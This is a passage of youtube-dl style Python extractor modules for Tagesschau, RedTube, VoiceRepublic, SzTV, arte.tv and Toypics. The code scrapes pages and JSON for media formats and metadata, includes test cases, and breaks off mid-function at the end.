    _VALID_URL = r'https?://(?:www\.)?tagesschau\.de/(?P<path>[^/]+/(?:[^/]+/)*?(?P<id>[^/#?]+?(?:-?[0-9]+)?))(?:~_?[^/#?]+?)?\.html'

    _TESTS = [{
        'url': 'http://www.tagesschau.de/multimedia/video/video-102143.html',
        'md5': 'f7c27a0eff3bfe8c7727e65f8fe1b1e6',
        'info_dict': {
            'id': 'video-102143',
            'ext': 'mp4',
            'title': 'Regierungsumbildung in Athen: Neue Minister in Griechenland vereidigt',
            'description': '18.07.2015 20:10 Uhr',
            'thumbnail': 're:^https?:.*\.jpg$',
        },
    }, {
        'url': 'http://www.tagesschau.de/multimedia/sendung/ts-5727.html',
        'md5': '3c54c1f6243d279b706bde660ceec633',
        'info_dict': {
            'id': 'ts-5727',
            'ext': 'mp4',
            'title': 'Sendung: tagesschau \t04.12.2014 20:00 Uhr',
            'description': 'md5:695c01bfd98b7e313c501386327aea59',
            'thumbnail': 're:^https?:.*\.jpg$',
        },
    }, {
        # exclusive audio
        'url': 'http://www.tagesschau.de/multimedia/audio/audio-29417.html',
        'md5': '76e6eec6ebd40740671cf0a2c88617e5',
        'info_dict': {
            'id': 'audio-29417',
            'ext': 'mp3',
            'title': 'Trabi - Bye, bye Rennpappe',
            'description': 'md5:8687dda862cbbe2cfb2df09b56341317',
            'thumbnail': 're:^https?:.*\.jpg$',
        },
    }, {
        # audio in article
        'url': 'http://www.tagesschau.de/inland/bnd-303.html',
        'md5': 'e0916c623e85fc1d2b26b78f299d3958',
        'info_dict': {
            'id': 'bnd-303',
            'ext': 'mp3',
            'title': 'Viele Baustellen für neuen BND-Chef',
            'description': 'md5:1e69a54be3e1255b2b07cdbce5bcd8b4',
            'thumbnail': 're:^https?:.*\.jpg$',
        },
    }, {
        'url': 'http://www.tagesschau.de/inland/afd-parteitag-135.html',
        'info_dict': {
            'id': 'afd-parteitag-135',
            'title': 'Möchtegern-Underdog mit Machtanspruch',
        },
        'playlist_count': 2,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/sendung/tsg-3771.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/sendung/tt-3827.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/sendung/nm-3475.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/sendung/weltspiegel-3167.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/tsvorzwanzig-959.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/sendung/bab/bab-3299~_bab-sendung-209.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/multimedia/video/video-102303~_bab-sendung-211.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tagesschau.de/100sekunden/index.html',
        'only_matching': True,
    }, {
        # playlist article with collapsing sections
        'url': 'http://www.tagesschau.de/wirtschaft/faq-freihandelszone-eu-usa-101.html',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if TagesschauPlayerIE.suitable(url) else super(TagesschauIE, cls).suitable(url)

    def _extract_formats(self, download_text, media_kind):
        links = re.finditer(
            r'<div class="button" title="(?P<title>[^"]*)"><a href="(?P<url>[^"]+)">(?P<name>.+?)</a></div>',
            download_text)
        formats = []
        for l in links:
            link_url = l.group('url')
            if not link_url:
                continue
            format_id = self._search_regex(
                r'.*/[^/.]+\.([^/]+)\.[^/.]+$', link_url, 'format ID',
                default=determine_ext(link_url))
            format = {
                'format_id': format_id,
                'url': l.group('url'),
                'format_name': l.group('name'),
            }
            title = l.group('title')
            if title:
                if media_kind.lower() == 'video':
                    m = re.match(
                        r'''(?x)
                            Video:\s*(?P<vcodec>[a-zA-Z0-9/._-]+)\s*&\#10;
                            (?P<width>[0-9]+)x(?P<height>[0-9]+)px&\#10;
                            (?P<vbr>[0-9]+)kbps&\#10;
                            Audio:\s*(?P<abr>[0-9]+)kbps,\s*(?P<audio_desc>[A-Za-z\.0-9]+)&\#10;
                            Gr&ouml;&szlig;e:\s*(?P<filesize_approx>[0-9.,]+\s+[a-zA-Z]*B)''',
                        title)
                    if m:
                        format.update({
                            'format_note': m.group('audio_desc'),
                            'vcodec': m.group('vcodec'),
                            'width': int(m.group('width')),
                            'height': int(m.group('height')),
                            'abr': int(m.group('abr')),
                            'vbr': int(m.group('vbr')),
                            'filesize_approx': parse_filesize(m.group('filesize_approx')),
                        })
                else:
                    m = re.match(
                        r'(?P<format>.+?)-Format\s*:\s*(?P<abr>\d+)kbps\s*,\s*(?P<note>.+)',
                        title)
                    if m:
                        format.update({
                            'format_note': '%s, %s' % (m.group('format'), m.group('note')),
                            'vcodec': 'none',
                            'abr': int(m.group('abr')),
                        })
            formats.append(format)
        self._sort_formats(formats)
        return formats

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id') or mobj.group('path')
        display_id = video_id.lstrip('-')

        webpage = self._download_webpage(url, display_id)

        title = self._html_search_regex(
            r'<span[^>]*class="headline"[^>]*>(.+?)</span>',
            webpage, 'title', default=None) or self._og_search_title(webpage)

        DOWNLOAD_REGEX = r'(?s)<p>Wir bieten dieses (?P<kind>Video|Audio) in folgenden Formaten zum Download an:</p>\s*<div class="controls">(?P<links>.*?)</div>\s*<p>'

        webpage_type = self._og_search_property('type', webpage, default=None)
        if webpage_type == 'website':  # Article
            entries = []
            for num, (entry_title, media_kind, download_text) in enumerate(re.findall(
                    r'(?s)<p[^>]+class="infotext"[^>]*>\s*(?:<a[^>]+>)?\s*<strong>(.+?)</strong>.*?</p>.*?%s' % DOWNLOAD_REGEX,
                    webpage), 1):
                entries.append({
                    'id': '%s-%d' % (display_id, num),
                    'title': '%s' % entry_title,
                    'formats': self._extract_formats(download_text, media_kind),
                })
            if len(entries) > 1:
                return self.playlist_result(entries, display_id, title)
            formats = entries[0]['formats']
        else:  # Assume single video
            download_text = self._search_regex(
                DOWNLOAD_REGEX, webpage, 'download links', group='links')
            media_kind = self._search_regex(
                DOWNLOAD_REGEX, webpage, 'media kind', default='Video', group='kind')
            formats = self._extract_formats(download_text, media_kind)
        thumbnail = self._og_search_thumbnail(webpage)
        description = self._html_search_regex(
            r'(?s)<p class="teasertext">(.*?)</p>',
            webpage, 'description', default=None)

        self._sort_formats(formats)

        return {
            'id': display_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
            'description': description,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    str_to_int,
    unified_strdate,
)


class RedTubeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?redtube\.com/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.redtube.com/66418',
        'md5': '7b8c22b5e7098a3e1c09709df1126d2d',
        'info_dict': {
            'id': '66418',
            'ext': 'mp4',
            'title': 'Sucked on a toilet',
            'upload_date': '20120831',
            'duration': 596,
            'view_count': int,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        if any(s in webpage for s in ['video-deleted-info', '>This video has been removed']):
            raise ExtractorError('Video %s has been removed' % video_id, expected=True)

        title = self._html_search_regex(
            (r'<h1 class="videoTitle[^"]*">(?P<title>.+?)</h1>',
             r'videoTitle\s*:\s*(["\'])(?P<title>)\1'),
            webpage, 'title', group='title')

        formats = []
        sources = self._parse_json(
            self._search_regex(
                r'sources\s*:\s*({.+?})', webpage, 'source', default='{}'),
            video_id, fatal=False)
        if sources and isinstance(sources, dict):
            for format_id, format_url in sources.items():
                if format_url:
                    formats.append({
                        'url': format_url,
                        'format_id': format_id,
                        'height': int_or_none(format_id),
                    })
        else:
            video_url = self._html_search_regex(
                r'<source src="(.+?)" type="video/mp4">', webpage, 'video URL')
            formats.append({'url': video_url})
        self._sort_formats(formats)

        thumbnail = self._og_search_thumbnail(webpage)
        upload_date = unified_strdate(self._search_regex(
            r'<span[^>]+class="added-time"[^>]*>ADDED ([^<]+)<',
            webpage, 'upload date', fatal=False))
        duration = int_or_none(self._search_regex(
            r'videoDuration\s*:\s*(\d+)', webpage, 'duration', fatal=False))
        view_count = str_to_int(self._search_regex(
            r'<span[^>]*>VIEWS</span></td>\s*<td>([\d,.]+)',
            webpage, 'view count', fatal=False))

        # No self-labeling, but they describe themselves as
        # "Home of Videos Porno"
        age_limit = 18

        return {
            'id': video_id,
            'ext': 'mp4',
            'title': title,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
            'duration': duration,
            'view_count': view_count,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    determine_ext,
    int_or_none,
    sanitized_Request,
)


class VoiceRepublicIE(InfoExtractor):
    _VALID_URL = r'https?://voicerepublic\.com/(?:talks|embed)/(?P<id>[0-9a-z-]+)'
    _TESTS = [{
        'url': 'http://voicerepublic.com/talks/watching-the-watchers-building-a-sousveillance-state',
        'md5': 'b9174d651323f17783000876347116e3',
        'info_dict': {
            'id': '2296',
            'display_id': 'watching-the-watchers-building-a-sousveillance-state',
            'ext': 'm4a',
            'title': 'Watching the Watchers: Building a Sousveillance State',
            'description': 'Secret surveillance programs have metadata too. The people and companies that operate secret surveillance programs can be surveilled.',
            'thumbnail': 're:^https?://.*\.(?:png|jpg)$',
            'duration': 1800,
            'view_count': int,
        }
    }, {
        'url': 'http://voicerepublic.com/embed/watching-the-watchers-building-a-sousveillance-state',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        req = sanitized_Request(
            compat_urlparse.urljoin(url, '/talks/%s' % display_id))
        # Older versions of Firefox get redirected to an "upgrade browser" page
        req.add_header('User-Agent', 'youtube-dl')
        webpage = self._download_webpage(req, display_id)

        if '>Queued for processing, please stand by...<' in webpage:
            raise ExtractorError(
                'Audio is still queued for processing', expected=True)

        config = self._search_regex(
            r'(?s)return ({.+?});\s*\n', webpage,
            'data', default=None)
        data = self._parse_json(config, display_id, fatal=False) if config else None
        if data:
            title = data['title']
            description = data.get('teaser')
            talk_id = compat_str(data.get('talk_id') or display_id)
            talk = data['talk']
            duration = int_or_none(talk.get('duration'))
            formats = [{
                'url': compat_urlparse.urljoin(url, talk_url),
                'format_id': format_id,
                'ext': determine_ext(talk_url) or format_id,
                'vcodec': 'none',
            } for format_id, talk_url in talk['links'].items()]
        else:
            title = self._og_search_title(webpage)
            description = self._html_search_regex(
                r"(?s)<div class='talk-teaser'[^>]*>(.+?)</div>",
                webpage, 'description', fatal=False)
            talk_id = self._search_regex(
                [r"id='jc-(\d+)'", r"data-shareable-id='(\d+)'"],
                webpage, 'talk id', default=None) or display_id
            duration = None
            player = self._search_regex(
                r"class='vr-player jp-jplayer'([^>]+)>", webpage, 'player')
            formats = [{
                'url': compat_urlparse.urljoin(url, talk_url),
                'format_id': format_id,
                'ext': determine_ext(talk_url) or format_id,
                'vcodec': 'none',
            } for format_id, talk_url in re.findall(r"data-([^=]+)='([^']+)'", player)]
        self._sort_formats(formats)

        thumbnail = self._og_search_thumbnail(webpage)
        view_count = int_or_none(self._search_regex(
            r"class='play-count[^']*'>\s*(\d+) plays",
            webpage, 'play count', fatal=False))

        return {
            'id': talk_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'formats': formats,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor


class SztvHuIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www\.)?sztv\.hu|www\.tvszombathely\.hu)/(?:[^/]+)/.+-(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://sztv.hu/hirek/cserkeszek-nepszerusitettek-a-kornyezettudatos-eletmodot-a-savaria-teren-20130909',
        'md5': 'a6df607b11fb07d0e9f2ad94613375cb',
        'info_dict': {
            'id': '20130909',
            'ext': 'mp4',
            'title': 'Cserkészek népszerűsítették a környezettudatos életmódot a Savaria téren',
            'description': 'A zöld nap játékos ismeretterjesztő programjait a Magyar Cserkész Szövetség szervezte, akik az ország nyolc városában adják át tudásukat az érdeklődőknek. A PET...',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video_file = self._search_regex(
            r'file: "...:(.*?)",', webpage, 'video file')
        title = self._html_search_regex(
            r'<meta name="title" content="([^"]*?) - [^-]*? - [^-]*?"',
            webpage, 'video title')
        description = self._html_search_regex(
            r'<meta name="description" content="([^"]*)"/>',
            webpage, 'video description', fatal=False)
        thumbnail = self._og_search_thumbnail(webpage)

        video_url = 'http://media.sztv.hu/vod/' + video_file

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_urllib_parse_urlparse,
)
from ..utils import (
    find_xpath_attr,
    unified_strdate,
    get_element_by_attribute,
    int_or_none,
    NO_DEFAULT,
    qualities,
)

# There are different sources of video in arte.tv, the extraction process
# is different for each one. The videos usually expire in 7 days, so we can't
# add tests.


class ArteTvIE(InfoExtractor):
    _VALID_URL = r'https?://videos\.arte\.tv/(?P<lang>fr|de|en|es)/.*-(?P<id>.*?)\.html'
    IE_NAME = 'arte.tv'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        lang = mobj.group('lang')
        video_id = mobj.group('id')

        ref_xml_url = url.replace('/videos/', '/do_delegate/videos/')
        ref_xml_url = ref_xml_url.replace('.html', ',view,asPlayerXml.xml')
        ref_xml_doc = self._download_xml(
            ref_xml_url, video_id, note='Downloading metadata')
        config_node = find_xpath_attr(ref_xml_doc, './/video', 'lang', lang)
        config_xml_url = config_node.attrib['ref']
        config = self._download_xml(
            config_xml_url, video_id, note='Downloading configuration')

        formats = [{
            'format_id': q.attrib['quality'],
            # The playpath starts at 'mp4:', if we don't manually
            # split the url, rtmpdump will incorrectly parse them
            'url': q.text.split('mp4:', 1)[0],
            'play_path': 'mp4:' + q.text.split('mp4:', 1)[1],
            'ext': 'flv',
            'quality': 2 if q.attrib['quality'] == 'hd' else 1,
        } for q in config.findall('./urls/url')]
        self._sort_formats(formats)

        title = config.find('.//name').text
        thumbnail = config.find('.//firstThumbnailUrl').text
        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }


class ArteTVBaseIE(InfoExtractor):
    @classmethod
    def _extract_url_info(cls, url):
        mobj = re.match(cls._VALID_URL, url)
        lang = mobj.group('lang')
        query = compat_parse_qs(compat_urllib_parse_urlparse(url).query)
        if 'vid' in query:
            video_id = query['vid'][0]
        else:
            # This is not a real id, it can be for example AJT for the news
            # http://www.arte.tv/guide/fr/emissions/AJT/arte-journal
            video_id = mobj.group('id')
        return video_id, lang

    def _extract_from_json_url(self, json_url, video_id, lang, title=None):
        info = self._download_json(json_url, video_id)
        player_info = info['videoJsonPlayer']

        upload_date_str = player_info.get('shootingDate')
        if not upload_date_str:
            upload_date_str = (player_info.get('VRA') or player_info.get('VDA') or '').split(' ')[0]

        title = (player_info.get('VTI') or title or player_info['VID']).strip()
        subtitle = player_info.get('VSU', '').strip()
        if subtitle:
            title += ' - %s' % subtitle

        info_dict = {
            'id': player_info['VID'],
            'title': title,
            'description': player_info.get('VDE'),
            'upload_date': unified_strdate(upload_date_str),
            'thumbnail': player_info.get('programImage') or player_info.get('VTU', {}).get('IUR'),
        }
        qfunc = qualities(['HQ', 'MQ', 'EQ', 'SQ'])

        LANGS = {
            'fr': 'F',
            'de': 'A',
            'en': 'E[ANG]',
            'es': 'E[ESP]',
        }

        langcode = LANGS.get(lang, lang)

        formats = []
        for format_id, format_dict in player_info['VSR'].items():
            f = dict(format_dict)
            versionCode = f.get('versionCode')
            l = re.escape(langcode)

            # Language preference from most to least priority
            # Reference: section 5.6.3 of
            # http://www.arte.tv/sites/en/corporate/files/complete-technical-guidelines-arte-geie-v1-05.pdf
            PREFERENCES = (
                # original version in requested language, without subtitles
                r'VO{0}$'.format(l),
                # original version in requested language, with partial subtitles in requested language
                r'VO{0}-ST{0}$'.format(l),
                # original version in requested language, with subtitles for the deaf and hard-of-hearing in requested language
                r'VO{0}-STM{0}$'.format(l),
                # non-original (dubbed) version in requested language, without subtitles
                r'V{0}$'.format(l),
                # non-original (dubbed) version in requested language, with subtitles partial subtitles in requested language
                r'V{0}-ST{0}$'.format(l),
                # non-original (dubbed) version in requested language, with subtitles for the deaf and hard-of-hearing in requested language
                r'V{0}-STM{0}$'.format(l),
                # original version in requested language, with partial subtitles in different language
                r'VO{0}-ST(?!{0}).+?$'.format(l),
                # original version in requested language, with subtitles for the deaf and hard-of-hearing in different language
                r'VO{0}-STM(?!{0}).+?$'.format(l),
                # original version in different language, with partial subtitles in requested language
                r'VO(?:(?!{0}).+?)?-ST{0}$'.format(l),
                # original version in different language, with subtitles for the deaf and hard-of-hearing in requested language
                r'VO(?:(?!{0}).+?)?-STM{0}$'.format(l),
                # original version in different language, without subtitles
                r'VO(?:(?!{0}))?$'.format(l),
                # original version in different language, with partial subtitles in different language
                r'VO(?:(?!{0}).+?)?-ST(?!{0}).+?$'.format(l),
                # original version in different language, with subtitles for the deaf and hard-of-hearing in different language
                r'VO(?:(?!{0}).+?)?-STM(?!{0}).+?$'.format(l),
            )

            for pref, p in enumerate(PREFERENCES):
                if re.match(p, versionCode):
                    lang_pref = len(PREFERENCES) - pref
                    break
            else:
                lang_pref = -1

            format = {
                'format_id': format_id,
                'preference': -10 if f.get('videoFormat') == 'M3U8' else None,
                'language_preference': lang_pref,
                'format_note': '%s, %s' % (f.get('versionCode'), f.get('versionLibelle')),
                'width': int_or_none(f.get('width')),
                'height': int_or_none(f.get('height')),
                'tbr': int_or_none(f.get('bitrate')),
                'quality': qfunc(f.get('quality')),
            }

            if f.get('mediaType') == 'rtmp':
                format['url'] = f['streamer']
                format['play_path'] = 'mp4:' + f['url']
                format['ext'] = 'flv'
            else:
                format['url'] = f['url']

            formats.append(format)

        self._check_formats(formats, video_id)
        self._sort_formats(formats)

        info_dict['formats'] = formats
        return info_dict


class ArteTVPlus7IE(ArteTVBaseIE):
    IE_NAME = 'arte.tv:+7'
    _VALID_URL = r'https?://(?:(?:www|sites)\.)?arte\.tv/[^/]+/(?P<lang>fr|de|en|es)/(?:[^/]+/)*(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://www.arte.tv/guide/de/sendungen/XEN/xenius/?vid=055918-015_PLUS7-D',
        'only_matching': True,
    }, {
        'url': 'http://sites.arte.tv/karambolage/de/video/karambolage-22',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if ArteTVPlaylistIE.suitable(url) else super(ArteTVPlus7IE, cls).suitable(url)

    def _real_extract(self, url):
        video_id, lang = self._extract_url_info(url)
        webpage = self._download_webpage(url, video_id)
        return self._extract_from_webpage(webpage, video_id, lang)

    def _extract_from_webpage(self, webpage, video_id, lang):
        patterns_templates = (r'arte_vp_url=["\'](.*?%s.*?)["\']', r'data-url=["\']([^"]+%s[^"]+)["\']')
        ids = (video_id, '')
        # some pages contain multiple videos (like
        # http://www.arte.tv/guide/de/sendungen/XEN/xenius/?vid=055918-015_PLUS7-D),
        # so we first try to look for json URLs that contain the video id from
        # the 'vid' parameter.
        patterns = [t % re.escape(_id) for _id in ids for t in patterns_templates]
        json_url = self._html_search_regex(
            patterns, webpage, 'json vp url', default=None)
        if not json_url:
            def find_iframe_url(webpage, default=NO_DEFAULT):
                return self._html_search_regex(
                    r'<iframe[^>]+src=(["\'])(?P<url>.+\bjson_url=.+?)\1',
                    webpage, 'iframe url', group='url', default=default)

            iframe_url = find_iframe_url(webpage, None)
            if not iframe_url:
                embed_url = self._html_search_regex(
                    r'arte_vp_url_oembed=\'([^\']+?)\'', webpage, 'embed url', default=None)
                if embed_url:
                    player = self._download_json(
                        embed_url, video_id, 'Downloading player page')
                    iframe_url = find_iframe_url(player['html'])
            # en and es URLs produce react-based pages with different layout (e.g.
            # http://www.arte.tv/guide/en/053330-002-A/carnival-italy?zone=world)
            if not iframe_url:
                program = self._search_regex(
                    r'program\s*:\s*({.+?["\']embed_html["\'].+?}),?\s*\n',
                    webpage, 'program', default=None)
                if program:
                    embed_html = self._parse_json(program, video_id)
                    if embed_html:
                        iframe_url = find_iframe_url(embed_html['embed_html'])
            if iframe_url:
                json_url = compat_parse_qs(
                    compat_urllib_parse_urlparse(iframe_url).query)['json_url'][0]
        if json_url:
            title = self._search_regex(
                r'<h3[^>]+title=(["\'])(?P<title>.+?)\1',
                webpage, 'title', default=None, group='title')
            return self._extract_from_json_url(json_url, video_id, lang, title=title)
        # Different kind of embed URL (e.g.
        # http://www.arte.tv/magazine/trepalium/fr/episode-0406-replay-trepalium)
        entries = [
            self.url_result(url)
            for _, url in re.findall(r'<iframe[^>]+src=(["\'])(?P<url>.+?)\1', webpage)]
        return self.playlist_result(entries)


# It also uses the arte_vp_url url from the webpage to extract the information
class ArteTVCreativeIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:creative'
    _VALID_URL = r'https?://creative\.arte\.tv/(?P<lang>fr|de|en|es)/(?:[^/]+/)*(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://creative.arte.tv/fr/episode/osmosis-episode-1',
        'info_dict': {
            'id': '057405-001-A',
            'ext': 'mp4',
            'title': 'OSMOSIS - N\'AYEZ PLUS PEUR D\'AIMER (1)',
            'upload_date': '20150716',
        },
    }, {
        'url': 'http://creative.arte.tv/fr/Monty-Python-Reunion',
        'playlist_count': 11,
        'add_ie': ['Youtube'],
    }, {
        'url': 'http://creative.arte.tv/de/episode/agentur-amateur-4-der-erste-kunde',
        'only_matching': True,
    }]


class ArteTVInfoIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:info'
    _VALID_URL = r'https?://info\.arte\.tv/(?P<lang>fr|de|en|es)/(?:[^/]+/)*(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://info.arte.tv/fr/service-civique-un-cache-misere',
        'info_dict': {
            'id': '067528-000-A',
            'ext': 'mp4',
            'title': 'Service civique, un cache misère ?',
            'upload_date': '20160403',
        },
    }]


class ArteTVFutureIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:future'
    _VALID_URL = r'https?://future\.arte\.tv/(?P<lang>fr|de|en|es)/(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://future.arte.tv/fr/info-sciences/les-ecrevisses-aussi-sont-anxieuses',
        'info_dict': {
            'id': '050940-028-A',
            'ext': 'mp4',
            'title': 'Les écrevisses aussi peuvent être anxieuses',
            'upload_date': '20140902',
        },
    }, {
        'url': 'http://future.arte.tv/fr/la-science-est-elle-responsable',
        'only_matching': True,
    }]


class ArteTVDDCIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:ddc'
    _VALID_URL = r'https?://ddc\.arte\.tv/(?P<lang>emission|folge)/(?P<id>[^/?#&]+)'

    _TESTS = []

    def _real_extract(self, url):
        video_id, lang = self._extract_url_info(url)
        if lang == 'folge':
            lang = 'de'
        elif lang == 'emission':
            lang = 'fr'
        webpage = self._download_webpage(url, video_id)
        scriptElement = get_element_by_attribute('class', 'visu_video_block', webpage)
        script_url = self._html_search_regex(r'src="(.*?)"', scriptElement, 'script url')
        javascriptPlayerGenerator = self._download_webpage(script_url, video_id, 'Download javascript player generator')
        json_url = self._search_regex(r"json_url=(.*)&rendering_place.*", javascriptPlayerGenerator, 'json url')
        return self._extract_from_json_url(json_url, video_id, lang)


class ArteTVConcertIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:concert'
    _VALID_URL = r'https?://concert\.arte\.tv/(?P<lang>fr|de|en|es)/(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://concert.arte.tv/de/notwist-im-pariser-konzertclub-divan-du-monde',
        'md5': '9ea035b7bd69696b67aa2ccaaa218161',
        'info_dict': {
            'id': '186',
            'ext': 'mp4',
            'title': 'The Notwist im Pariser Konzertclub "Divan du Monde"',
            'upload_date': '20140128',
            'description': 'md5:486eb08f991552ade77439fe6d82c305',
        },
    }]


class ArteTVCinemaIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:cinema'
    _VALID_URL = r'https?://cinema\.arte\.tv/(?P<lang>fr|de|en|es)/(?P<id>.+)'

    _TESTS = [{
        'url': 'http://cinema.arte.tv/fr/article/les-ailes-du-desir-de-julia-reck',
        'md5': 'a5b9dd5575a11d93daf0e3f404f45438',
        'info_dict': {
            'id': '062494-000-A',
            'ext': 'mp4',
            'title': 'Film lauréat du concours web - "Les ailes du désir" de Julia Reck',
            'upload_date': '20150807',
        },
    }]


class ArteTVMagazineIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:magazine'
    _VALID_URL = r'https?://(?:www\.)?arte\.tv/magazine/[^/]+/(?P<lang>fr|de|en|es)/(?P<id>[^/?#&]+)'

    _TESTS = [{
        # Embedded via <iframe src="http://www.arte.tv/arte_vp/index.php?json_url=..."
        'url': 'http://www.arte.tv/magazine/trepalium/fr/entretien-avec-le-realisateur-vincent-lannoo-trepalium',
        'md5': '2a9369bcccf847d1c741e51416299f25',
        'info_dict': {
            'id': '065965-000-A',
            'ext': 'mp4',
            'title': 'Trepalium - Extrait Ep.01',
            'upload_date': '20160121',
        },
    }, {
        # Embedded via <iframe src="http://www.arte.tv/guide/fr/embed/054813-004-A/medium"
        'url': 'http://www.arte.tv/magazine/trepalium/fr/episode-0406-replay-trepalium',
        'md5': 'fedc64fc7a946110fe311634e79782ca',
        'info_dict': {
            'id': '054813-004_PLUS7-F',
            'ext': 'mp4',
            'title': 'Trepalium (4/6)',
            'description': 'md5:10057003c34d54e95350be4f9b05cb40',
            'upload_date': '20160218',
        },
    }, {
        'url': 'http://www.arte.tv/magazine/metropolis/de/frank-woeste-german-paris-metropolis',
        'only_matching': True,
    }]


class ArteTVEmbedIE(ArteTVPlus7IE):
    IE_NAME = 'arte.tv:embed'
    _VALID_URL = r'''(?x)
        http://www\.arte\.tv
        /(?:playerv2/embed|arte_vp/index)\.php\?json_url=
        (?P<json_url>
            http://arte\.tv/papi/tvguide/videos/stream/player/
            (?P<lang>[^/]+)/(?P<id>[^/]+)[^&]*
        )
    '''

    _TESTS = []

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        lang = mobj.group('lang')
        json_url = mobj.group('json_url')
        return self._extract_from_json_url(json_url, video_id, lang)


class ArteTVPlaylistIE(ArteTVBaseIE):
    IE_NAME = 'arte.tv:playlist'
    _VALID_URL = r'https?://(?:www\.)?arte\.tv/guide/(?P<lang>fr|de|en|es)/[^#]*#collection/(?P<id>PL-\d+)'

    _TESTS = [{
        'url': 'http://www.arte.tv/guide/de/plus7/?country=DE#collection/PL-013263/ARTETV',
        'info_dict': {
            'id': 'PL-013263',
            'title': 'Areva & Uramin',
            'description': 'md5:a1dc0312ce357c262259139cfd48c9bf',
        },
        'playlist_mincount': 6,
    }, {
        'url': 'http://www.arte.tv/guide/de/playlists?country=DE#collection/PL-013190/ARTETV',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        playlist_id, lang = self._extract_url_info(url)
        collection = self._download_json(
            'https://api.arte.tv/api/player/v1/collectionData/%s/%s?source=videos'
            % (lang, playlist_id), playlist_id)
        title = collection.get('title')
        description = collection.get('shortDescription') or collection.get('teaserText')
        entries = [
            self._extract_from_json_url(
                video['jsonUrl'], video.get('programId') or playlist_id, lang)
            for video in collection['videos'] if video.get('jsonUrl')]
        return self.playlist_result(entries, playlist_id, title, description)






# -*- coding:utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
import re


class ToypicsIE(InfoExtractor):
    IE_DESC = 'Toypics user profile'
    _VALID_URL = r'https?://videos\.toypics\.net/view/(?P<id>[0-9]+)/.*'
    _TEST = {
        'url': 'http://videos.toypics.net/view/514/chancebulged,-2-1/',
        'md5': '16e806ad6d6f58079d210fe30985e08b',
        'info_dict': {
            'id': '514',
            'ext': 'mp4',
            'title': 'Chance-Bulge\'d, 2',
            'age_limit': 18,
            'uploader': 'kidsune',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        page = self._download_webpage(url, video_id)
        video_url = self._html_search_regex(
            r'src:\s+"(http://static[0-9]+\.toypics\.net/flvideo/[^"]+)"', page, 'video URL')
        title = self._html_search_regex(
            r'<title>Toypics - ([^<]+)</title>', page, 'title')
        username = self._html_search_regex(
            r'toypics.net/([^/"]+)" class="user-name">', page, 'username')
        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'uploader': username,
            'age_limit': 18,
        }


class ToypicsUserIE(InfoExtractor):
    IE_DESC = 'Toypics user profile'
    _VALID_URL = r'https?://videos\.toypics\.net/(?P<username>[^/?]+)(?:$|[?#])'
    _TEST = {
        'url': 'http://videos.toypics.net/Mikey',
        'info_dict': {
            'id': 'Mikey',
        },
        'playlist_mincount': 19,
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        username = mobj.group('username')

        profile_page = self._download_webpage(
            url, username, note='Retrieving profile page')

        video_count = int(self._search_regex(
            r'public/">Public Videos \(([0-9]+)\)</a></li>', profile_page,
            'video count'))

        PAGE_SIZE = 8
        urls = []
        page_count = (video_count + PAGE_SIZE + 1) // PAGE_SIZE
        for n in range(1, page_count + 1):
            lpage_url = url + '/public/%d' % n
            lpage = self._download_webpage(
                lpage_url, username,
                note='Downloading page %d/%d' % (n, page_count))
            urls.extend(
